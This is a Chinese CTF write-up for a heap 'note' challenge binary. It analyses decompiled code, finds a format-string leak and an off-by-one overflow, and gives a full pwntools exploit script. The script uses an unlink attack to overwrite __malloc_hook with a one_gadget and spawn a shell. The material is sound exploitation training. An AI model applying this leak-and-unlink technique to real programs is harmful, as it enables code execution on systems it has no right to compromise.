[*] '/home/supergate/Desktop/Pwn/pwn1'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保护全开。
IDA查看后发现是一个菜单题,主要流程如下(其中show操作是费的,没有办法利用show泄露地址)
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-4h]
init();
banner();
while ( 1 )
{
menu();
v3 = get_int();
switch ( v3 )
{
case 1:
add_note();
break;
case 2:
delete_note();
break;
case 3:
puts("None!");
break;
case 4:
edit_note();
break;
default:
puts("No such choices!");
break;
}
}
}
unsigned __int64 banner()
{
char format; // [rsp+Ch] [rbp-14h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Welcome to note management system!");
printf("Enter your name: ");
__isoc99_scanf("%s", &format);
printf("Hello, ", &format);
printf(&format);
puts("\n-------------------------------------");
return __readfsqword(0x28u) ^ v2;
}
显然存在一个格式化字符串漏洞
,这就可以让我们泄露出程序加载的真实地址和libc库的真实地址。
size_t __fastcall get_input(__int64 a1, int a2)
{
size_t result; // rax
signed int v3; // [rsp+10h] [rbp-10h]
_BYTE *v4; // [rsp+18h] [rbp-8h]
v3 = 0;
while ( 1 )
{
v4 = (_BYTE *)(v3 + a1);
result = fread(v4, 1uLL, 1uLL, stdin);
if ( (signed int)result <= 0 )
break;
if ( *v4 == 10 )
{
if ( v3 )
{
result = v3 + a1;
*v4 = 0;
return result;
}
}
else
{
result = (unsigned int)++v3;
if ( a2 + 1 <= (unsigned int)v3 )
return result;
}
}
return result;
}
这个地方仔细分析,读入的时候边界没有设置好,会有一个off-by-one
漏洞。
我们能够利用的就是以上两个漏洞,加上程序保护全开,我们无法写入shellcode执行,也无法修改got/plt表来达到劫持函数的操作。所以考虑修改malloc_hook
指向的地址。这个地址可以通过one_gadget
找gadgets,选择符合条件的运行。
首先我们需要一个指向指针数组的指针,这个地方很显然要用到unlink操作,而在堆上的漏洞只有一个off-by-one
,所以考虑如何利用这一个字节。
unsigned __int64 add_note()
{
int v0; // ebx
int v1; // ebx
size_t size; // [rsp+0h] [rbp-20h]
unsigned __int64 v4; // [rsp+8h] [rbp-18h]
v4 = __readfsqword(0x28u);
printf("Enter the index you want to create (0-10):");
__isoc99_scanf("%d", (char *)&size + 4);
if ( (size & 0x8000000000000000LL) == 0LL && SHIDWORD(size) <= 10 )
{
if ( counts > 0xAu )
{
puts("full!");
exit(0);
}
puts("Enter a size:");
__isoc99_scanf("%d", &size);
if ( key == 43 )
{
puts("Enter the content: ");
v0 = HIDWORD(size);
*((_QWORD *)¬e + 2 * v0) = malloc((unsigned int)size);
*((_DWORD *)¬e + 4 * SHIDWORD(size) + 2) = size;
if ( !*((_QWORD *)¬e + 2 * SHIDWORD(size)) )
{
fwrite("error", 1uLL, 5uLL, stderr);
exit(0);
}
}
else
{
if ( (unsigned int)size <= 0x80 )
{
puts("You can't hack me!");
return __readfsqword(0x28u) ^ v4;
}
puts("Enter the content: ");
v1 = HIDWORD(size);
*((_QWORD *)¬e + 2 * v1) = malloc((unsigned int)size);
*((_DWORD *)¬e + 4 * SHIDWORD(size) + 2) = size;
if ( !*((_QWORD *)¬e + 2 * SHIDWORD(size)) )
{
fwrite("error", 1uLL, 5uLL, stderr);
exit(0);
}
}
check_pass((_QWORD *)¬e + 2 * SHIDWORD(size));
get_input(*((_QWORD *)¬e + 2 * SHIDWORD(size)), size);
++counts;
puts("Done!");
return __readfsqword(0x28u) ^ v4;
}
puts("You can't hack me!");
return __readfsqword(0x28u) ^ v4;
}
这个地方限制我们只能添加大于0x80大小的chunk。
要注意的是,malloc在分配内存时,会判断需要分配的大小是多少。如果是0x80这个大小,会分配刚好0x80个数据区域来保存输入的数据。如果大小是0x81~0x88,就会分配0x80个大小,然后利用下一个堆块的前0x8位(也就是下一个堆块的presize
位)来保存数据。
如果我们申请了一块0x88大小的chunk,利用off-by-one漏洞我们实际上可以控制到物理相邻的下一个chunk的pre_size域和size域,当然也可以修改size域的标志位来满足unlink的条件。
unlink之后,我们就可以获得一个指向.bss指针数组的指针了,这样我们就可以在这个指针数组中布置好malloc_hook
的地址,再把它当作指针写入gadgets
的地址,这样我们再调用一次malloc函数就能够getshell了
from pwn import *
from LibcSearcher import *
context.update(arch='amd64', log_level='debug', endian='little')
p=process('./pwn1')
#gdb.attach(p)
exev_libc=0xf1147
malloc_hook_libc=0x3C4B10
start_main_libc=0x20740
def add(idx,size,content):
p.recvuntil(">> ")
p.sendline("1")
p.recvuntil("(0-10):")
p.sendline(str(idx))
p.recvuntil("Enter a size:\n")
p.sendline(str(size))
p.recvuntil("Enter the content: \n")
p.send(content)
def delete(idx):
p.recvuntil(">> ")
p.sendline("2")
p.recvuntil("Enter an index:\n")
p.sendline(str(idx))
def edit(idx,content):
p.recvuntil(">> ")
p.sendline("4")
p.recvuntil("Enter an index:\n")
p.sendline(str(idx))
p.recvuntil("Enter the content: \n")
p.send(content)
p.recvuntil("Enter your name: ")
p.sendline("%19$p,%15$p")
p.recvuntil("Hello, ")
note_addr=int(p.recvuntil(",")[:-1],16)-0x55999CADC16A+0x55999CCDD060
print "note_addr =======> "+hex(note_addr)
start_main_addr=int(p.recvline(),16)-0xf0
print "start_main_addr =====> "+hex(start_main_addr)
malloc_hook_addr=start_main_addr-start_main_libc+malloc_hook_libc
exev_addr=start_main_addr-start_main_libc+exev_libc
add(0,0x88,"aaaa"+'\n')
add(1,0x88,"bbbb"+'\n')
payload=p64(0)+p64(0x80)+p64(note_addr-0x18)+p64(note_addr-0x10)+'a'*0x60+p64(0x80)+'\x90'
edit(0,payload)
delete(1)
payload=p64(0)+p64(0)+p64(0)+p64(malloc_hook_addr)+p64(0x88)+'\n'
edit(0,payload)
edit(0,p64(exev_addr)+'\n')
p.recvuntil(">> ")
p.sendline("1")
p.recvuntil("(0-10):")
p.sendline("5")
p.recvuntil("Enter a size:\n")
p.sendline("150")
p.recvuntil("Enter the content: \n")
p.interactive()